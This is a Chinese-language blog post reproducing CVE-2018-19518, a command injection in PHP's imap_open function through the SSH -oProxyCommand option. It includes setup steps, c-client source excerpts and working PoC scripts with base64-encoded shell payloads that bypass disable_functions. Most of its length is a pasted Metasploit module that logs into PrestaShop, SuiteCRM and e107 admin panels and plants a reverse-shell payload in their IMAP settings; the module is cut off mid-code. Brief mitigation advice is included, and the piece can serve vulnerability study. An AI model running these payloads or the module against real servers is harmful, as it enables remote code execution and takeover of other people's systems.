CVE-2018-19518:PHP imap_open函數任意命令執行漏洞復現
受影響版本
Ubuntu https://people.canonical.com/~ubuntu-security/cve/2018/CVE-2018-19518.html
Debian https://security-tracker.debian.org/tracker/CVE-2018-19518
Red Hat https://access.redhat.com/security/cve/cve-2018-19518
SUSE https://www.suse.com/security/cve/CVE-2018-19518/
描述
PHP 的imap_open函數中的漏洞可能允許經過身份驗證的遠程攻擊者在目標系統上執行任意命令。該漏洞的存在是因為受影響的軟體的imap_open函數在將郵箱名稱傳遞給rsh或ssh命令之前不正確地過濾郵箱名稱。如果啟用了rsh和ssh功能並且rsh命令是ssh命令的符號鏈接,則攻擊者可以通過向目標系統發送包含-oProxyCommand參數的惡意IMAP伺服器名稱來利用此漏洞。成功的攻擊可能允許攻擊者繞過其他禁用的exec 受影響軟體中的功能,攻擊者可利用這些功能在目標系統上執行任意shell命令。利用此漏洞的功能代碼是Metasploit Framework的一部分。
分析
要利用此漏洞,攻擊者必須具有對目標系統的用戶級訪問許可權。此訪問要求可以降低成功利用的可能性。
復現過程
環境搭建
系統Debian9
安裝PHP及其他包(php7.0.30)
apt-get update && apt-get install -y nano php
我們需要對PHP做一些安全的配置
比如說
echo 『; priority=99』 > /etc/php/7.0/mods-available/disablefns.ini
echo 『disable_functions=exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source』 >> /etc/php/7.0/mods-available/disablefns.ini
phpenmod disablefns
SSH安裝
apt-get install -y ssh
strace工具安裝
apt-get install -y strace
IMAP模塊安裝
cd /tmp/
wget http://http.debian.net/debian/pool/main/u/uw-imap/uw-imap_2007f~dfsg-2.dsc
wget http://http.debian.net/debian/pool/main/u/uw-imap/uw-imap_2007f~dfsg.orig.tar.gz
wget http://http.debian.net/debian/pool/main/u/uw-imap/uw-imap_2007f~dfsg-2.debian.tar.gz
apt-get install dpkg-dev
dpkg-source -x uw-imap_2007f~dfsg-2.dsc imap-2007f
mv imap-2007f /usr/local/
什麼是IMAP?
為什麼我們要先了解這個?因為IMAP是在系統中執行任何命令的橋樑。Internet消息訪問協議(IMAP)是電子郵件客戶端用於通過TCP / IP連接從郵件伺服器檢索電子郵件的Internet標準協議。IMAP由Mark Crispin於1986年設計為遠程郵箱協議,與廣泛使用的POP(一種用於檢索郵箱內容的協議)形成對比。目前,IMAP由RFC 3501定義規格。IMAP的設計目標是允許多個電子郵件客戶端完全管理電子郵件收件箱。因此,客戶端通常會在伺服器上保留消息,直到用戶明確刪除它們為止。IMAP伺服器通常偵聽埠號143.默認情況下,為IMAP over SSL(IMAPS)分配埠號993。當然,PHP支持IMAP開箱即用。為了使協議的工作更容易,PHP有許多功能。在所有這些功能中,我們只對imap_open盡心討論和探究。它用於打開郵箱的IMAP Stream。該函數不是PHP核心函數; 它是從華盛頓大學開發的UW IMAP工具包環境導入的,該庫的最新版本大約在7年前於2011年發布。也許,IMAP在PHP中是這樣調用的,比如說
resource imap_open ( string $mailbox , string $username , string $password [, int $options = 0 [, int $n_retries = 0 [, array $params = NULL ]]] )
使用mailbox參數來定義連接的伺服器,比如說
{[host]}:[port][flags]}[mailbox_name]
IMAP允許您使用預先驗證的ssh或rsh會話自動登錄伺服器。當您不需要使用該功能時使用的標誌然後默認嘗試使用該標誌
cd /usr/local/imap-2007f/
cat src/osdep/unix/tcp_unix.c:
可以看到tcp_aopen的工作原理及主要功能在tcp_unix.c被定義
/ TCP/IP authenticated open
Accepts: host name
service name
returned user name buffer
Returns: TCP/IP stream if success else NIL
/
#define MAXARGV 20
...
TCPSTREAM tcp_aopen (NETMBX mb,char service,char usrbuf)
{
我們看一下ssh和rsh的路徑
#ifdef SSHPATH / ssh path defined yet? /
if (!sshpath) sshpath = cpystr (SSHPATH);
#endif
#ifdef RSHPATH / rsh path defined yet? /
if (!rshpath) rshpath = cpystr (RSHPATH);
#endif
可以看到,寫到了如果沒有定義SSHPATH,那麼將嘗試讀取RSHPATH。其中部分代碼將會幫你找到SSHPATH定義發生的位置代碼示例如下:/imap-2007f/src/osdep/unix/env_unix.h:
/ dorc() options /
#define SYSCONFIG "/etc/c-client.cf"
/imap-2007f/src/osdep/unix/env_unix.c:
/ Process rc file
Accepts: file name
.mminit flag
Don"t use this feature.
/
void dorc (char file,long flag)
{
int i;
char s,t,k,r,tmp[MAILTMPLEN],tmpx[MAILTMPLEN];
extern MAILSTREAM CREATEPROTO;
extern MAILSTREAM EMPTYPROTO;
DRIVER d;
FILE f;
if ((f = fopen (file ? file : SYSCONFIG,"r")) &&
(s = fgets (tmp,MAILTMPLEN,f)) && (t = strchr (s,"
"))) do {
t++ = " "; / tie off line, find second space /
if ((k = strchr (s," ")) && (k = strchr (++k," "))) {
k++ = " "; / tie off two words /
if (!compare_cstring (s,"set keywords") && !userFlags[0]) {
/ yes, get first keyword /
k = strtok_r (k,", ",&r);
fs_give ((void ) &sharedHome);
sharedHome = cpystr (k);
}
else if (!compare_cstring (s,"set system-inbox")) {
fs_give ((void ) &sysInbox);
sysInbox = cpystr (k);
}
else if (!compare_cstring (s,"set mail-subdirectory")) {
fs_give ((void *) &mailsubdir);
mailsubdir = cpystr (k);
}
else if (!compare_cstring (s,"set from-widget"))
mail_parameters (NIL,SET_FROMWIDGET,
compare_cstring (k,"header-only") ?
VOIDT : NIL);
^L
else if (!compare_cstring (s,"set rsh-command"))
mail_parameters (NIL,SET_RSHCOMMAND,(void ) k);
else if (!compare_cstring (s,"set rsh-path"))
mail_parameters (NIL,SET_RSHPATH,(void ) k);
else if (!compare_cstring (s,"set ssh-command"))
mail_parameters (NIL,SET_SSHCOMMAND,(void ) k);
else if (!compare_cstring (s,"set ssh-path"))
mail_parameters (NIL,SET_SSHPATH,(void ) k);
else if (!compare_cstring (s,"set tcp-open-timeout"))
mail_parameters (NIL,SET_OPENTIMEOUT,(void ) atol (k));
else if (!compare_cstring (s,"set tcp-read-timeout"))
mail_parameters (NIL,SET_READTIMEOUT,(void ) atol (k));
else if (!compare_cstring (s,"set tcp-write-timeout"))
mail_parameters (NIL,SET_WRITETIMEOUT,(void ) atol (k));
else if (!compare_cstring (s,"set rsh-timeout"))
mail_parameters (NIL,SET_RSHTIMEOUT,(void ) atol (k));
默認情況下它是空的,我們是無法控制它的,因為/etc目錄沒有寫入許可權。吶,我們跳轉到RSHPATH。他在Makefile中。不同版本的發行版為其Makefile的路徑都會不同。如果你不知道你的Makefile的路徑,你可以在/usr/bin/rsh查看Makefile的路徑。/imap-2007f/src/osdep/unix/Makefile:
bs3: # BSD/i386 3.0 or higher
…
RSHPATH=/usr/bin/rsh
…
bsf: # FreeBSD
…
RSHPATH=/usr/bin/rsh
…
mnt: # Mint
…
RSHPATH=/usr/bin/rsh
…
osx: # Mac OS X
…
RSHPATH=/usr/bin/rsh
…
slx: # Secure Linux
…
RSHPATH=/usr/bin/rsh
我們cat一下tcp_appen返回都改變了什麼
#endif
if (service == "") { / want ssh? /
/ return immediately if ssh disabled /
if (!(sshpath && (ti = sshtimeout))) return NIL;
/ ssh command prototype defined yet? /
if (!sshcommand) sshcommand = cpystr ("%s %s -l %s exec /usr/sbin/r%sd");
}
/ want rsh? /
else if (rshpath && (ti = rshtimeout)) {
/ rsh command prototype defined yet? /
if (!rshcommand) rshcommand = cpystr ("%s %s -l %s exec /usr/sbin/r%sd");
}
else return NIL; / rsh disabled /
/ look like domain literal? */
我們發現上述的代碼示例生成一個命令,用於在遠程伺服器上執行rimapd二進位文件。讓我們創建一個PHP腳本進行測試test1.php。
/tmp/test0001
$server = "x -oProxyCommand=echo ZWNobyAnMTIzNDU2Nzg5MCc+L3RtcC90ZXN0MDAwMQo=|base64 -d|sh}";
imap_open("{".$server.":143/imap}INBOX", "", "") or die("
Error: ".imap_last_error());
Poc地址
https://github.com/Bo0oM/PHP_imap_open_exploit/blob/master/exploit.php
使用帶有execve系統調用過濾的strace工具來觀察腳本處理期間將執行的命令。
strace -f -e trace=clone, execve php test1.php
如回顯,這裡的x其實是執行命令的參數之一,這意味著我們可以在操作伺服器地址參數時操縱命令行
[pid 17251] execve("/usr/bin/rsh", ["/usr/bin/rsh", "x", "-oProxyCommand=echo ZWNobyAnMTIz"..., "-l", "root", "exec", "/usr/sbin/rimapd"], [/ 20 vars /]
我們ssh的一個ProxyCommand,連接伺服器的這樣的一個命令具體說明如下
ProxyCommand
指定用於連接伺服器的命令。命令字元串擴展到行的末尾,並使用用戶的shell" exec"指令執行,以避免延遲的shell進程。
ProxyCommand接受TOKENS 部分中描述的令牌的 參數。該命令基本上可以是任何東西,並且應該從其標準輸入讀取並寫入其標準輸出。它應該最終連接在某台機器上運行的sshd(8)伺服器,或者在sshd -i某處執行。主機密鑰管理將使用所連接主機的HostName完成(默認為用戶鍵入的名稱)。設置命令以none完全禁用此選項。請注意, CheckHostIP無法與代理命令連接。
該指令與nc(1)及其代理支持結合使用非常有用 。例如,以下指令將通過192.0.2.0的HTTP代理連接:
ProxyCommand / usr / bin / nc -X connect -x 192.0.2.0:8080% h%p
ssh -oProxyCommand =「echo hello | tee / tmp / executed」localhost
命令成功執行,回顯
root@hacker:/tmp# ssh -oProxyCommand="echo hello|tee /tmp/executed" localhost
ssh_exchange_identification: Connection closed by remote host
root@hacker:/tmp# cat /tmp/executed
hello
root@hacker:/tmp#
這時我們不能直接將它轉移到PHP腳本來代替imap_open伺服器地址,因為在解析時,它將空格解釋為分隔符和斜杠作為標誌。但,你可以使用$ IFS shell變數來替換空格符號或普通選項卡( t)。還可以在bash中使用Ctrl + V熱鍵和Tab鍵插入標籤。要想繞過斜杠,你可以使用base64編碼和相關命令對其進行解碼,比如
echo "echo hello|tee /tmp/executed"|base64
ehco ZWNobyBoZWxsb3x0ZWUgL3RtcC9leGVjdXRlZAo=|base64 -d|bash
root@hacker:/tmp# echo ZWNobyBoZWxsb3x0ZWUgL3RtcC9leGVjdXRlZAo=|base64 -d|bash
hello
root@hacker:/tmp#
我們也可以也hack bar里對其用base64進行解碼開個題外話,剛還在群里問了大佬們用的firefox的hackbar多一點還是chrome的hackbar多一點呢,因為我感覺firefox的hackbar更舒服,但是更喜歡用chrome,很糾結,還是看習慣吧 吶,我們現在放到PHP進行測試 新建一個test2.php
<?php$payload = 「echo hello|tee /tmp/executed」;$encoded_payload = base64_encode($payload);$server = 「any -o ProxyCommand=echo 」.$encoded_payload.」|base64 -d|bash」;@imap_open(『{『.$server.』}:143/imap}INBOX』, 『』, 『』);
現在再次使用strace執行它並觀察命令行調用的內容。
root@hacker:/tmp# strace -f -e trace=clone,execve php test2.phpexecve("/usr/bin/php", ["php", "test2.php"], [/ 20 vars /]) = 0strace: Process 17488 attachedstrace: Process 17489 attached[pid 17489] execve("/usr/bin/rsh", ["/usr/bin/rsh", "any", "-o", "ProxyCommand=echo ZWNobyBoZWxsb3"..., "-l", "root", "exec", "/usr/sbin/rimapd"], [/ 20 vars /] <unfinished ...>[pid 17488] +++ exited with 1 +++[pid 17487] --- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_EXITED, si_pid=17488, si_uid=0, si_status=1, si_utime=0, si_stime=0} ---[pid 17489] <... execve resumed> ) = 0[pid 17489] clone(child_stack=NULL, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD, child_tidptr=0x7f84a6842650) = 17490strace: Process 17490 attached[pid 17490] execve("/bin/bash", ["/bin/bash", "-c", "exec echo ZWNobyBoZWxsb3x0ZWUgL3"...], [/ 20 vars /]) = 0[pid 17490] clone(child_stack=NULL, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD, child_tidptr=0x7f302b766e10) = 17491[pid 17490] clone(child_stack=NULL, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD, child_tidptr=0x7f302b766e10) = 17492[pid 17490] clone(child_stack=NULL, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD, child_tidptr=0x7f302b766e10) = 17493strace: Process 17493 attachedstrace: Process 17492 attached[pid 17493] execve("/bin/bash", ["bash"], [/ 20 vars /]) = 0[pid 17492] execve("/usr/bin/base64", ["base64", "-d"], [/ 20 vars /]strace: Process 17491 attached) = 0[pid 17491] execve("/bin/echo", ["echo", "ZWNobyBoZWxsb3x0ZWUgL3RtcC9leGVj"...], [/ 20 vars /]) = 0[pid 17492] +++ exited with 0 +++[pid 17491] +++ exited with 0 +++[pid 17493] clone(child_stack=NULL, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD, child_tidptr=0x7f292e137e10) = 17494[pid 17493] clone(child_stack=NULL, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD, child_tidptr=0x7f292e137e10) = 17495strace: Process 17495 attached[pid 17495] execve("/usr/bin/tee", ["tee", "/tmp/executed"], [/ 20 vars /]) = 0strace: Process 17494 attached[pid 17494] +++ exited with 0 +++[pid 17495] +++ exited with 0 +++[pid 17493] --- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_EXITED, si_pid=17494, si_uid=0, si_status=0, si_utime=0, si_stime=0} ---[pid 17493] +++ exited with 0 +++[pid 17490] --- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_EXITED, si_pid=17492, si_uid=0, si_status=0, si_utime=0, si_stime=0} ---[pid 17490] +++ exited with 0 +++[pid 17489] --- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_EXITED, si_pid=17490, si_uid=0, si_status=0, si_utime=0, si_stime=0} ---[pid 17489] +++ exited with 255 +++PHP Notice: Unknown: No such host as any -o ProxyCommand=echo ZWNobyBoZWxsb3x0ZWUgL3RtcC9leGVjdXRlZA==|base64 -d|bash (errflg=2) in Unknown on line 0+++ exited with 0 +++root@hacker:/tmp#
被我們用紅色框圈出來的,它們都正在遠程伺服器上運行。利用完成,文件創建成功。這些命令不是由PHP本身執行,而是由外部庫執行,這意味著什麼??意味著他們都不會阻止它執行,而不是事件disable_functions指令。現在我們放在簡單的生產環境進行測試PrestaShop,PrestaShop是一種免費增值的開源電子商務解決方案,它是由php編寫的,mysql資料庫,官網給出的最低配置,我們簡略的看一下
apt install -y wget unzip apache2 mysql-server php-zip php-curl php-mysql php-gd php-mbstringservice mysql startmysql -u root -e "CREATE DATABASE prestashop; GRANT ALL PRIVILEGES ON . TO "root"@"localhost" IDENTIFIED BY "megapass";"a2enmod rewrite
我們cd 到/var/www/html
wget [https://download.prestashop.com/download/releases/prestashop_1.7.4.4.zip](https://download.prestashop.com/download/releases/prestashop_1.7.4.4.zip)unzip prestashop_1.7.4.4.zip#Start Apache2 daemon and surf your web-server to begin shop installation.service apache2 start
訪問192.168.169.128/install/index.php進行安裝,並登陸管理面板我們也可以查看AdminCustomerThreads的源代碼/prestashop-1.7.4.4/controllers/admin/AdminCustomerThreadsController.php
// Executes the IMAP synchronization.$sync_errors = $this->syncImap();…public function syncImap(){if (!($url = Configuration::get(『PS_SAV_IMAP_URL』))|| !($port = Configuration::get(『PS_SAV_IMAP_PORT』))|| !($user = Configuration::get(『PS_SAV_IMAP_USER』))|| !($password = Configuration::get(『PS_SAV_IMAP_PWD』))) {return array(『hasError』 => true, 『errors』 => array(『IMAP configuration is not correct』));}$conf = Configuration::getMultiple(array(『PS_SAV_IMAP_OPT_POP3』, 『PS_SAV_IMAP_OPT_NORSH』, 『PS_SAV_IMAP_OPT_SSL』,『PS_SAV_IMAP_OPT_VALIDATE-CERT』, 『PS_SAV_IMAP_OPT_NOVALIDATE-CERT』,『PS_SAV_IMAP_OPT_TLS』, 『PS_SAV_IMAP_OPT_NOTLS』));…$mbox = @imap_open(『{『.$url.』:』.$port.$conf_str.』}』, $user, $password);
在這裡你可以看到imap_open調用的url變數現在我們執行paylaod.php
<?php $ payload = $ argv [1]; $ encoded_payload = base64_encode($ payload); $ server =「any -o ProxyCommand = echo t」。$ encoded_payload。「| base64 td | bash}」; print(「payload:{$ server}」。PHP_EOL);
終於能看見遠程執行了,好了復現就到這裡管理員可以做點什麼?
建議管理員應用適當的更新。建議管理員僅允許受信任的用戶進行網路訪問。建議管理員同時運行防火牆和防病毒應用程序,以最大限度地降低入站和出站威脅的可能性。管理員可以考慮使用基於IP的訪問控制列表(ACL),僅允許受信任的系統訪問受影響的系統。管理員可以使用可靠的防火牆策略幫助保護受影響的系統免受外部攻擊。建議管理員監視受影響的系統。
大佬的帖子是這麼寫的,稍微搬一下,沒怎麼做翻譯,說一下自己結合的理解,類似於PrestaShop這樣的軟體暫時沒有更新版本解決這個安全問題。聽說,PHP大佬已經發布了針對此問題的補丁,估計Linux發行版中的存儲庫和軟體包也未必有這麼快動作來更新安全補丁最後奉上CVE-2018-19518漏洞利用的。
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = GoodRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
"Name" => "php imap_open Remote Code Execution",
"Description" => %q{
The imap_open function within php, if called without the /norsh flag, will attempt to preauthenticate an
IMAP session. On Debian based systems, including Ubuntu, rsh is mapped to the ssh binary. Ssh"s ProxyCommand
option can be passed from imap_open to execute arbitrary commands.
While many custom applications may use imap_open, this exploit works against the following applications:
e107 v2, prestashop, SuiteCRM, as well as Custom, which simply prints the exploit strings for use.
Prestashop exploitation requires the admin URI, and administrator credentials.
suiteCRM/e107/hostcms require administrator credentials.
},
"Author" =>
[
"Anton Lopanitsyn", # Vulnerability discovery and PoC
"Twoster", # Vulnerability discovery and PoC
"h00die" # Metasploit Module
],
"License" => MSF_LICENSE,
"References" =>
[
[ "URL", "https://web.archive.org/web/20181118213536/https://antichat.com/threads/463395" ],
[ "URL", "https://github.com/Bo0oM/PHP_imap_open_exploit" ],
[ "EDB", "45865"],
[ "URL", "https://bugs.php.net/bug.php?id=76428"],
[ "CVE", "2018-19518"]
],
"Privileged" => false,
"Platform" => [ "unix" ],
"Arch" => ARCH_CMD,
"Targets" =>
[
[ "prestashop", {} ],
[ "suitecrm", {}],
[ "e107v2", {"WfsDelay" => 90}], # may need to wait for cron
[ "custom", {"WfsDelay" => 300}]
],
"PrependFork" => true,
"DefaultOptions" =>
{
"PAYLOAD" => "cmd/unix/reverse_netcat",
"WfsDelay" => 120
},
"DefaultTarget" => 0,
"DisclosureDate" => "Oct 23 2018"))
register_options(
[
OptString.new("TARGETURI", [ true, "Base directory path", "/admin2769gx8k3"]),
OptString.new("USERNAME", [ false, "Username to authenticate with", ""]),
OptString.new("PASSWORD", [ false, "Password to authenticate with", ""])
])
end
def check
if target.name =~ /prestashop/
uri = normalize_uri(target_uri.path)
res = send_request_cgi({"uri" => uri})
if res && (res.code == 301 || res.code == 302)
return CheckCode::Detected
end
elsif target.name =~ /suitecrm/
#login page GET /index.php?action=Login&module=Users
vprint_status("Loading login page")
res = send_request_cgi(
"uri" => normalize_uri(target_uri.path, "index.php"),
"vars_get" => {
"action" => "Login",
"module" => "Users"
}
)
unless res
print_error("Error loading site. Check options.")
return
end
if res.code = 200
return CheckCode::Detected
end
end
CheckCode::Safe
end
def command(spaces="$IFS$()")
#payload is base64 encoded, and stuffed into the SSH option.
enc_payload = Rex::Text.encode_base64(payload.encoded)
command = "-oProxyCommand=`echo #{enc_payload}|base64 -d|bash`"
#final payload can not contain spaces, however $IFS$() will return the space we require
command.gsub!(" ", spaces)
end
def exploit
if target.name =~ /prestashop/
uri = normalize_uri(target_uri.path)
res = send_request_cgi({"uri" => uri})
if res && res.code != 301
print_error("Admin redirect not found, check URI. Should be something similar to /admin2769gx8k3")
return
end
#There are a bunch of redirects that happen, so we automate going through them to get to the login page.
while res.code == 301 || res.code == 302
cookie = res.get_cookies
uri = res.headers["Location"]
vprint_status("Redirected to #{uri}")
res = send_request_cgi({"uri" => uri})
end
#Tokens are generated for each URL or sub-component, we need valid ones!
/.*token=(?<token>w{32})/ =~ uri
/id="redirect" value="(?<redirect>.*)"/>/ =~ res.body
cookie = res.get_cookies
unless token && redirect
print_error("Unable to find token and redirect URL, check options.")
return
end
vprint_status("Token: #{token} and Login Redirect: #{redirect}")
print_status("Logging in with #{datastore["USERNAME"]}:#{datastore["PASSWORD"]}")
res = send_request_cgi(
"method" => "POST",
"uri" => normalize_uri(target_uri.path, "index.php"),
"cookie" => cookie,
"vars_post" => {
"ajax" => 1,
"token" => "",
"controller" => "AdminLogin",
"submitLogin" => "1",
"passwd" => datastore["PASSWORD"],
"email" => datastore["USERNAME"],
"redirect" => redirect
},
"vars_get" => {
"rand" => "1542582364810" #not sure if this will hold true forever, I didn"t see where it is being generated
}
)
if res && res.body.include?("Invalid password")
print_error("Invalid Login")
return
end
vprint_status("Login JSON Response: #{res.body}")
uri = JSON.parse(res.body)["redirect"]
cookie = res.get_cookies
print_good("Login Success, loading admin dashboard to pull tokens")
res = send_request_cgi({"uri" => uri, "cookie" => cookie})
/AdminCustomerThreads&token=(?<token>w{32})/ =~ res.body
vprint_status("Customer Threads Token: #{token}")
res = send_request_cgi({
"uri" => normalize_uri(target_uri.path, "index.php"),
"cookie" => cookie,
"vars_get" => {
"controller" => "AdminCustomerThreads",
"token" => token
}
})
/form method="post" action="index.php?controller=AdminCustomerThreads&token=(?<token>w{32})/ =~ res.body
print_good("Sending Payload with Final Token: #{token}")
data = Rex::MIME::Message.new
data.add_part("1", nil, nil, "form-data; name="PS_CUSTOMER_SERVICE_FILE_UPLOAD"")
data.add_part("Dear Customer,
Regards,
Customer service", nil, nil, "form-data; name="PS_CUSTOMER_SERVICE_SIGNATURE_1"")
data.add_part("x #{command}}", nil, nil, "form-data; name="PS_SAV_IMAP_URL"")
data.add_part("143", nil, nil, "form-data; name="PS_SAV_IMAP_PORT"")
data.add_part(Rex::Text.rand_text_alphanumeric(8), nil, nil, "form-data; name="PS_SAV_IMAP_USER"")
data.add_part(Rex::Text.rand_text_alphanumeric(8), nil, nil, "form-data; name="PS_SAV_IMAP_PWD"")
data.add_part("0", nil, nil, "form-data; name="PS_SAV_IMAP_DELETE_MSG"")
data.add_part("0", nil, nil, "form-data; name="PS_SAV_IMAP_CREATE_THREADS"")
data.add_part("0", nil, nil, "form-data; name="PS_SAV_IMAP_OPT_POP3"")
data.add_part("0", nil, nil, "form-data; name="PS_SAV_IMAP_OPT_NORSH"")
data.add_part("0", nil, nil, "form-data; name="PS_SAV_IMAP_OPT_SSL"")
data.add_part("0", nil, nil, "form-data; name="PS_SAV_IMAP_OPT_VALIDATE-CERT"")
data.add_part("0", nil, nil, "form-data; name="PS_SAV_IMAP_OPT_NOVALIDATE-CERT"")
data.add_part("0", nil, nil, "form-data; name="PS_SAV_IMAP_OPT_TLS"")
data.add_part("0", nil, nil, "form-data; name="PS_SAV_IMAP_OPT_NOTLS"")
data.add_part("", nil, nil, "form-data; name="submitOptionscustomer_thread"")
send_request_cgi(
"method" => "POST",
"uri" => normalize_uri(target_uri.path, "index.php"),
"ctype" => "multipart/form-data; boundary=#{data.bound}",
"data" => data.to_s,
"cookie" => cookie,
"vars_get" => {
"controller" => "AdminCustomerThreads",
"token" => token
}
)
print_status("IMAP server change left on server, manual revert required.")
if res && res.body.include?("imap Is Not Installed On This Server")
print_error("PHP IMAP mod not installed/enabled ")
end
elsif target.name =~ /suitecrm/
#login page GET /index.php?action=Login&module=Users
vprint_status("Loading login page")
res = send_request_cgi(
"uri" => normalize_uri(target_uri.path, "index.php"),
"vars_get" => {
"action" => "Login",
"module" => "Users"
}
)
unless res
print_error("Error loading site. Check options.")
return
end
if res.code = 200
cookie = res.get_cookies
else
print_error("HTTP code #{res.code} found, check options.")
return
end
vprint_status("Logging in as #{datastore["USERNAME"]}:#{datastore["PASSWORD"]}")
res = send_request_cgi(
"method" => "POST",
"uri" => normalize_uri(target_uri.path, "index.php"),
"cookie" => cookie,
"vars_post" => {
"module" => "Users",
"action" => "Authenticate",
"return_module" => "Users",
"return_action" => "Login",
"cant_login" => "",
"login_module" => "",
"login_action" => "",
"login_record" => "",
"login_token" => "",
"login_oauth_token" => "",
"login_mobile" => "",
"user_name" => datastore["USERNAME"],
"username_password" => datastore["PASSWORD"],
"Login" => "Log+In"
}
)
unless res
print_error("Error loading site. Check options.")
return
end
if res.code = 302
cookie = res.get_cookies
print_good("Login Success")
else
print_error("Failed Login, check options.")
end
#load the email settings page to get the group_id
vprint_status("Loading InboundEmail page")
res = send_request_cgi(
"uri" => normalize_uri(target_uri.path, "index.php"),
"cookie" => cookie,
"vars_get" => {
"module" => "InboundEmail",
"action" => "EditView"
}
)
unless res
print_error("Error loading site.")
return
end
/"group_id" value="(?<group_id>w{8}-w{4}-w{4}-w{4}-w{12})">/ =~ res.body
unless group_id
print_error("Could not identify group_id from form page")
return
end
print_good("Sending payload with group_id #{group_id}")
referer = "http://#{datastore["RHOST"]}#{normalize_uri(target_uri.path, "index.php")}?module=InboundEmail&action=EditView"
res = send_request_cgi(
"method" => "POST",
"uri" => normalize_uri(target_uri.path, "index.php"),
"cookie" => cookie,
#required to prevent CSRF protection from triggering
"headers" => { "Referer" => referer},
"vars_post" => {
"module" => "InboundEmail",
"record" => "",
"origin_id" => "",
"isDuplicate" => "false",
"action" => "Save",
"group_id" => group_id,
"return_module" => "",
"return_action" => "",
"return_id" => "",
"personal" => "",
"searchField" => "",
"mailbox_type" => "",
"button" => " Save ",
"name" => Rex::Text.rand_text_alphanumeric(8),
"status" => "Active",
"server_url" => "x #{command}}",
"email_user" => Rex::Text.rand_text_alphanumeric(8),
"protocol" => "imap",
"email_password" => Rex::Text.rand_text_alphanumeric(8),
"port" => "143",
"mailbox" => "INBOX",
"trashFolder" => "TRASH",
"sentFolder" => "",
"from_name" => Rex::Text.rand_text_alphanumeric(8),
"is_auto_import" => "on",
"from_addr" => "#{Rex::Text.rand_text_alphanumeric(8)}@#{Rex::Text.rand_text_alphanumeric(8)}.org",
"reply_to_name" => "",
"distrib_method" => "AOPDefault",
"distribution_user_name" => "",
"distribution_user_id" => "",
"distribution_options[0]" => "all",
"distribution_options[1]" => "",
"distribution_options[2]" => "",
"create_case_template_id" => "",
"reply_to_addr" => "",
"template_id" => "",
"filter_domain" => "",
"email_num_autoreplies_24_hours" => "10",
"leaveMessagesOnMailServer" => "1"
}
)
if res && res.code == 200
print_error("Triggered CSRF protection, may try exploitation manually.")
end
print_status("IMAP server config left on server, manual removal required.")
elsif target.name =~ /e107v2/
# e107 has an encoder which prevents $IFS$() from being used as $ = $
# also became /t, however " " does seem to work.
# e107 also uses a cron job to check bounce jobs, which may not be active.
# either cron can be disabled, or bounce checks disabled, so we try to
# kick the process manually, however if it doesn"t work we"ll hope
# cron is running and we get a call back anyways.
vprint_status("Logging in as #{datastore["USERNAME"]}:#{datastore["PASSWORD"]}")
res = send_request_cgi(
"method" => "POST",
"uri" => normalize_uri(target_uri.path, "e107_admin", "admin.php"),
"vars_post" => {
"authname" => datastore["USERNAME"],
"authpass" => datastore["PASSWORD"],
"authsubmit" => "Log In"
})
unless res
print_error("Error loading site. Check options.")
return
end
if res.code == 302
cookie = res.get_cookies
print_good("Login Success")
else
print_error("Failed Login, check options.")
end
vprint_status("Checking if Cron is enabled for triggering")
res = send_request_cgi(
"uri" => normalize_uri(target_uri.path, "e107_admin", "cron.php"),
"cookie" => cookie
)
unless res
print_error("Error loading site. Check options.")
return
end
if res.body.include? "Status: <b>Disabled</b>"
print_error("Cron disabled, unexploitable.")
return
end
print_good("Storing payload in mail settings")
# the imap/pop field is hard to find. Check Users > Mail
# then check "Bounced emails - Processing method" and set it to "Mail account"
send_request_cgi(
"method" => "POST",
"uri" => normalize_uri(target_uri.path, "e107_admin", "mailout.php"),
"cookie" => cookie,
"vars_get" => {
"mode" => "prefs",
"action" => "prefs"
},
"vars_post" => {
"testaddress" => "none@none.com",
"testtemplate" => "textonly",
"bulkmailer" => "smtp",
"smtp_server" => "1.1.1.1",
"smtp_username" => "username",
"smtp_password" => "password",
"smtp_port" => "25",
"smtp_options" => "",
"smtp_keepalive" => "0",
"smtp_useVERP" => "0",
"mail_sendstyle" => "texthtml",
"mail_pause" => "3",
"mail_pausetime" => "4",
"mail_workpertick" => "5",
"mail_log_option" => "0",
"mail_bounce" => "mail",
"mail_bounce_email2" => "",
"mail_bounce_email" => "#{Rex::Text.rand_text_alphanumeric(8)}@#{Rex::Text.rand_text_alphanumeric(8)}.org",
"mail_bounce_pop3" => "x #{command(" ")}}",
"mail_bounce_user" => Rex::Text.rand_text_alphanumeric(8),
"mail_bounce_pass" => Rex::Text.rand_text_alphanumeric(8),
"mail_bounce_type" => "imap",
"mail_bounce_auto" => "1",
"updateprefs" => "Save Changes"
})
vprint_status("Loading cron page to execute job manually")
res = send_request_cgi(
"uri" => normalize_uri(target_uri.path, "e107_admin", "cron.php"),
"cookie" => cookie
)
unless res
print_error("Error loading site. Check options.")
return
end
if /name="e-token" value="(?<etoken>w{32})"/ =~ res.body && /_system::procEmailBounce.+?cron_execute[(?<cron_id>d)]/m =~ res.body
print_good("Triggering manual run of mail bounch check cron to execute payload with cron id #{cron_id} and etoken #{etoken}")
# The post request has several duplicate columns, however all were not required. Left them commented for documentation purposes
send_request_cgi(
"method" => "POST",
"uri" => normalize_uri(target_uri.path, "e107_admin", "cron.php"),
"cookie" => cookie,
"vars_post" => {
"e-token" => etoken,
#"e-columns[]" => "cron_category",
"e-columns[]" => "cron_name",
#"e-columns[]" => "cron_description",
#"e-columns[]" => "cron_function",
#"e-columns[]" => "cron_tab",
#"e-columns[]" => "cron_lastrun",
#"e-columns[]" => "cron_active",
"cron_execute[#{cron_id}]" => "1",
"etrigger_batch" => ""
})
else
print_error("e-token not found, required for manual exploitation. Wait 60sec, cron may still trigger.")
end
